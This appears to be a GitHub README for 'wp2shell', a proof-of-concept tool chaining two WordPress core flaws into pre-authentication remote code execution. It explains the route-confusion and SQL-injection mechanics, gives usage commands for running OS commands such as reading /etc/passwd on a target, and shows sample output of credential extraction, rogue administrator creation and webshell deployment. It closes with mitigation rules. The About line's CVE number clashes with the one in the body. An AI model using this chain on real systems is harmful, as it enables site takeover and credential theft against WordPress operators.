Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

wp2shell

Pre-Authentication Remote Code Execution in WordPress Core.

CVE-2026-60137 (SQL Injection in WP_Query) chained with CVE-2026-63030 (REST API Batch Route Confusion).

For educational and authorised security research purposes only.


Affected Versions

WordPress 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are vulnerable. Fixed in 6.9.5 and 7.0.2.


How It Works

The exploit chains two vulnerabilities:

CVE-2026-63030 — Batch Route Confusion. The REST API batch endpoint at /wp-json/batch/v1 (or /?rest_route=/batch/v1) processes sub-requests in two phases: it matches each path to a handler, then dispatches each request through its matched handler. When a deliberately malformed path (///) is inserted as the first sub-request, WordPress stores a WP_Error at index 0 of the matched-routes array. This shifts every subsequent handler assignment back by one index. The dispatch loop then pairs each request with the wrong handler — a request validated against Schema A is executed by Handler B, bypassing the parameter sanitization that Schema A enforced.

CVE-2026-60137 — SQL Injection in WP_Query. The posts collection endpoint accepts an author_exclude parameter whose schema enforces integer-typed array values, sanitizing each element with absint() before it reaches WP_Query. The batch desync causes this parameter to bypass schema validation entirely and arrive at WP_Query's author__not_in logic as a raw string. Because absint() is only applied inside an is_array() branch, the raw string is interpolated directly into the SQL WHERE clause, enabling UNION SELECT injection.

The full chain proceeds in four steps:

  1. Confirm the batch endpoint is reachable and the desync is functioning.
  2. Extract the database version, user, table prefix, and administrator credentials via UNION SELECT rows reflected in the REST JSON response.
  3. Create a new administrator account by injecting fake wp_posts rows that poison the oEmbed cache and trigger WP_Customize_Manager's changeset publish hook, which calls wp_insert_user() with role=administrator.
  4. Authenticate with the new account, upload a single-file PHP plugin as a zip archive through the standard plugin upload interface, activate it, and execute OS commands through the shell.

Requirements

  • Python 3.8 or later
  • No third-party dependencies (standard library only)
  • Network access to the target WordPress instance

Installation

git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell

No pip install required.


Usage

Full Exploit Chain

Runs all four steps: desync confirmation, SQL reconnaissance, administrator creation, and webshell deployment. A new administrator account and plugin are created on every run.

python3 exploit.py --url http://TARGET --command "id"
python3 exploit.py --url http://TARGET --command "uname -a"
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"

Against an HTTPS target with a self-signed certificate:

python3 exploit.py --url https://TARGET --command "id" --insecure

Re-Use an Existing Webshell

After a full-chain run completes, the script prints a ready-to-use re-use command with the deployed credentials and shell path pre-filled. Pass those three flags on subsequent runs to skip the SQL and admin-creation phases entirely:

python3 exploit.py \
  --url                  http://TARGET \
  --command              "whoami" \
  --admin-user           wp2_poc_da4d1cf83acb \
  --admin-password       "Wp2!J47LBKLEbu4ebAJo" \
  --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php

Command-Line Reference

usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
                  [--admin-user USER] [--admin-password PASS]
                  [--prev-webshell-plugin PATH]
Flag Short Description
--url -u Target WordPress base URL. Default: http://localhost:8080
--command -c OS command to execute. Default: id
--insecure -k Disable TLS certificate verification for self-signed certs
--admin-user Re-use mode: previously created administrator username
--admin-password Re-use mode: previously created administrator password
--prev-webshell-plugin Re-use mode: web path to the already-deployed webshell plugin

The three --admin-* / --prev-webshell-plugin flags must all be supplied together or not at all.


Example Output

Full Chain

+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Target :  http://localhost:8080
  Command:  uname -a
  Mode   :  FULL CHAIN

[STEP 1] Verifying batch endpoint + route-confusion desync
  [+] Batch endpoint reachable (HTTP 207)
  [+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)

[STEP 2] UNION SQLi -- database reconnaissance
  [+] Database version  : 10.11.18-MariaDB-ubu2204
  [+] Database user     : wpuser@%
  [+] Database name     : wordpress
  [+] Table prefix      : wp_
  [+] Admin login       : admin
  [+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
  [+] Admin user ID     : 1

[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
  [*] Seeding oEmbed cache with 3 loopback URLs...
  [+] oEmbed cache IDs: [96, 97, 98]
  [*] Submitting changeset poison + user creation...
  [+] Admin created -- username: wp2_poc_da4d1cf83acb  password: Wp2!J47LBKLEbu4ebAJo

[STEP 4] Authenticating + deploying webshell -- running: uname -a
  [*] Logging in to wp-admin...
  [+] Logged in as administrator
  [*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
  [+] Plugin uploaded
  [*] Activating plugin...
  [+] Plugin activated
  [*] Executing: uname -a

============================================================
  COMMAND OUTPUT  --  uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================

  [+] RCE confirmed -- Pre-Auth exploit chain complete

  +-- RE-USE HINT ------------------------------------------+
  |  Skip the full chain next time -- pass these flags:      |
  +-----------------------------------------------------------+

  python3 exploit.py \
    --url                  http://localhost:8080 \
    --command              'YOUR_COMMAND' \
    --admin-user           wp2_poc_da4d1cf83acb \
    --admin-password       'Wp2!J47LBKLEbu4ebAJo' \
    --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php

Mitigation

Update to a fixed release immediately.

  • WordPress 7.0.x: update to 7.0.2 or later — wp core update
  • WordPress 6.9.x: update to 6.9.5 or later — wp core update --version=6.9.5
  • WordPress 6.8.x: update to 6.8.6 or later — wp core update --version=6.8.6

If patching immediately is not possible, block both URL forms of the batch endpoint at the web server or WAF layer. Both routes must be blocked — a rule covering only the pretty-permalink form leaves the query-string form open:

# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]

Or disable the endpoint from within WordPress using a must-use plugin:

<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );

Treat all pre-patch controls as temporary bridges only. Apply the patch as soon as possible and verify the installed version on every internet-facing instance afterwards.


References


Disclaimer

This tool is provided for educational purposes and authorised penetration testing only. Running it against any system without explicit prior written permission from the system owner is illegal. The authors accept no liability for any misuse.

About

Exploit POC for Wp2Shell, CVE-2026-63030 + CVE-2026-63137

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages